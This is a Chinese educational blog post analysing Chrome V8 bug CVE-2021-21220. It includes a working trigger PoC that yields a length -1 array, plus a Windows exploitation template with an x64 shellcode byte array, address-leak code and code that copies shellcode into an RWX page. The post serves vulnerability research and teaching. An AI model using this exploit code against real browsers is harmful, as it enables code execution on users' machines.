前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从 0 开始学 V8 漏洞利用之 CVE-2021-21220(八)

从 0 开始学 V8 漏洞利用之 CVE-2021-21220(八)

作者头像
Seebug漏洞平台
发布2022-03-18 11:10:16
9940
发布2022-03-18 11:10:16
举报
文章被收录于专栏:Seebug漏洞平台Seebug漏洞平台

作者:Hcamael@知道创宇404实验室

相关阅读:

从 0 开始学 V8 漏洞利用之环境搭建(一) 从 0 开始学 V8 漏洞利用之 V8 通用利用链(二) 从 0 开始学 V8 漏洞利用之 starctf 2019 OOB(三)

从 0 开始学 V8 漏洞利用之 CVE-2020-6507(四)

从 0 开始学 V8 漏洞利用之 CVE-2021-30632(五)

从 0 开始学 V8 漏洞利用之 CVE-2021-38001(六)

从 0 开始学 V8 漏洞利用之 CVE-2021-30517(七)

第六个研究的是CVE-2021-21220,其chrome的bug编号为:1196683(https://bugs.chromium.org/p/chromium/issues/detail?id=1196683)

可以很容易找到其相关信息:

受影响的Chrome最高版本为:89.0.4389.114 受影响的V8最高版本为:8.9.255.24

并且还附带了exp(https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=497472)

搭建环境

一键编译相关环境:

代码语言:javascript
复制
$ ./build.sh 8.9.255.24

漏洞分析

因为通过之前的文章,已经对模板套路很熟悉了,所以在之后的文章中,将不会过多讲诉套模板编写exp,而会让重点放在一些之前文章中没有的点上,更着重在漏洞利用技巧这块。

该漏洞的PoC如下:

代码语言:javascript
复制
const _arr = new Uint32Array([2**31]);

function foo(a) {
    var x = 1;
    x = (_arr[0] ^ 0) + 1;

    x = Math.abs(x);
    x -= 2147483647;
    x = Math.max(x, 0);

    x -= 1;
    if(x==-1) x = 0;

    var arr = new Array(x);
    arr.shift();
    var cor = [1.1, 1.2, 1.3];

    return [arr, cor];
}

上述PoC来源于:

https://github.com/security-dbg/CVE-2021-21220/blob/main/exploit.js

因为我认为这个PoC更利于理解该漏洞。

根据我的理解,我做了如下修改:

代码语言:javascript
复制
var b = new Uint32Array([0x80000000]);
var trigger_array = [];
function trigger() {
  var x = 1;
  x = (b[0] ^ 0) + 1; // 0x80000000 + 1
  x = Math.abs(x); // 0x80000001 0x7fffffff
  x -= 0x7fffffff;  // 2 0
  x = Math.max(x, 0); // 2 0

  x -= 1; // 1 -1
  if(x==-1) x = 0; // 1 0
  trigger_array = new Array(x); // 1 0
  trigger_array.shift();

  var da = [1.1, 2.2];
  var ob = [{a: 1,b: 2}];
  return [da, ob];
}

在正常情况下,该函数的逻辑:

1. b[0]为uint32类型的变量,其值为0x80000000。

2. 异或了0以后,变成了int32类型,其值为-2147483648。

3. 加上1以后,变成了-2147483647,赋值给了x。但是类型会被扩展成int64,因为js的变量是弱类型,如果x一开始的类型是int32,值为2147483647(0x7fffffff),那么x+1不会变成-1,而会变成。2147483648(0x80000000),因为int32被扩展成了int64。

4. 然后使用math.abs函数计算绝对值,x值变为2147483647(0x7fffffff)。

5. x - 0x7FFFFFFF = 0。

6. 使用math.max函数计算x与0之间的最大值,为0。

7. x - 1 = -1。

8. 因为x=-1,所以x改为0。

9. 新建了一个长度为0的数组。

10. 因为长度为0,所以shitf无效,数组不变。

但是上述逻辑,经过JIT优化以后,就不一样了:

1. b[0]为uint32类型的变量,其值为0x80000000。

2. 将其转化成int64类型,其值为0x80000000。

3. 加上1以后,变成了0x80000001。

4. 然后使用math.abs函数计算绝对值,x值变为0x80000001。

5. x - 0x7FFFFFFF = 2。

6. 使用math.max函数计算x与0之间的最大值,为2。

7. x - 1 = 1。

8. 新建了一个长度为1的数组。

9. shitf函数将数组的长度设置为-1,这就让我们得到了长度为-1的数组,通过该数据进行后续利用。

在JIT的优化过程中,存在两个问题:

1.将b[0]转化为int64,把符号去掉了,从Turbo流程图看,是通过ChangeInt32ToInt64来改变b[0]的变量类型,而在这个opcode实现的代码中:

代码语言:javascript
复制
void InstructionSelector::VisitChangeInt32ToInt64(Node* node) {
  ......
    switch (rep) {
      case MachineRepresentation::kBit:  // Fall through.
      case MachineRepresentation::kWord8:
        opcode = load_rep.IsSigned() ? kX64Movsxbq : kX64Movzxbq;
        break;
      case MachineRepresentation::kWord16:
        opcode = load_rep.IsSigned() ? kX64Movsxwq : kX64Movzxwq;
        break;
      case MachineRepresentation::kWord32:
        opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl;
        break;
      default:
        UNREACHABLE();
        return;
    }
......

根据上面代码可以看出,如果b[0]是有符号的,那么将会使用kX64Movsxlq指令进行转换,如果是无符号的就会使用kX64Movl指令进行转换。

b[0]因为是一个uint32类型的变量,所以使用movl进行扩展大小,所以没有扩展其符号,导致出现了问题。

2.shitf函数将数组长度设置为-1。

shift函数的正常逻辑是,判断数组的长度,如果其长度大于0,并且小于100,那么将会对长度的赋值进行优化,预测其长度,然后进行减1操作,直接写入数组的长度。

在JIT的预测当中,x的值为0,因为其预测是按照没有bug的情况进行预测的,但是实际情况x为1,这就导致实际情况的x通过了shitf的长度检查,然后却把x认为是0,从而-1,把数组的长度设置为了-1。

CVE-2021-21220总结

该漏洞的成因还是挺容易理解的,这研究其原理的过程中也要学会看Turbo,后续将为专门看Turbo的opcode写一篇paper。

Windows Chrome利用一条龙

接下来再记录一下v8漏洞在Windows实际的利用。

v8只是Chrome浏览器解析JavaScript代码的一个引擎,就算通过v8代码漏洞,能执行shellcode,也没办法获取到系统权限,因为在v8引擎的外层还一层沙箱,所以在v8漏洞的分析利用文章中,最后显示的效果都需要让Chrome启动加上--no-sandbox参数,所以v8漏洞的实际利用场景只能找一些使用了Chrome内核,并且没有开沙箱的应用。

除此之前,v8需要结合一些其他的漏洞,比如沙箱逃逸/提权漏洞,才能真正打穿Chrome。

本文说说,在Windows的环境下,怎么编写exp来结合Windows提权漏洞,来打穿Chrome。

1.你真正想执行的shellcode:

代码语言:javascript
复制
// shellcode.js
let usershellcode=[0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x48,0x8d,0x8d,0x1,0x1,0x0,0x0,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5,0x6e,0x6f,0x74,0x65,0x70,0x61,0x64,0x0,0x0];

把一个弹计算器的shellcode设置一个变量,储存在shellcode.js

2.找一个Windows大哥,写一个Windows提权的loadpe(这部分内容后续会让我同事进行编写),并且写入loadpe中,loadpe的二进制将会写入dll.js。

代码语言:javascript
复制
// dll.js
let dll=[......];

这loadpe在进行Windows提权后,将会执行shellcode.js中的shellcode,而shellcode的地址,我们需要在exp中泄漏出来:

代码语言:javascript
复制
var myshell = new Uint8Array(0x1000);
for (i = 0x0; i < usershellcode.length; i++) {
    myshell[i] = usershellcode[i];
}
var shellDataAddr = addressOf(myshell);
console.log("[*] leak shellcode data addr: 0x" + hex(shellDataAddr));
var shellAddr = read64(shellDataAddr + 0x28n);
alert("[*] leak my shellcode addr: 0x" + hex(ftoi(shellAddr)));
bshellAddr = ftob(shellAddr);
addr_offset = ???;
let dllData = new Uint8Array(dll.length);
for (i = 0x0; i < dll.length; i++) {
    if (i>= addr_offset && i < addr_offset+8) {
        dllData[i] = bshellAddr[i-addr_offset];
    } else {
        dllData[i] = dll[i];
    }
}

3.我们需要泄漏出dll的地址,然后exp的shellcode作用是把loadpe内存设置为可读可写可执行权限,然后跳转过来:

代码语言:javascript
复制
var dllDataAddr = addressOf(dllData);
console.log("[*] leak dll data addr: 0x" + hex(dllDataAddr));
var dllAddr = read64(dllDataAddr + 0x28n);
alert("[*] leak dll addr: 0x" + hex(ftoi(dllAddr)));
var shellcode = [......];
bdllAddr = ftob(dllAddr);
Offset = ???;
for (let i = 0x0; i < 0x8; i++) {
    shellcode[0x2 + i] = bdllAddr[i];
    shellcode[Offset + 0x2 + i] = bdllAddr[i];
}
var Uint8Shellcode = new Uint8Array(shellcode.length);
var Uint64Shellcode = new BigUint64Array(Uint8Shellcode.buffer);
for (let i = 0x0; i < shellcode.length; i++) {
    Uint8Shellcode[i] = shellcode[i];
}
copy_shellcode_to_rwx(Uint64Shellcode, rwx_page_addr);
f();

按照这样的模板编写EXP,就可以跟Windows大哥编写loadpe的提权exp完美结合起来,我研究v8相关的漏洞,他研究Windows相关的漏洞,然后我们的成果却可以相互结合。

参考

  1. https://bugs.chromium.org/p/chromium/issues/detail?id=1196683
  2. https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=497472

往 期 热 门

(点击图片跳转)

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-03-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Seebug漏洞平台 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档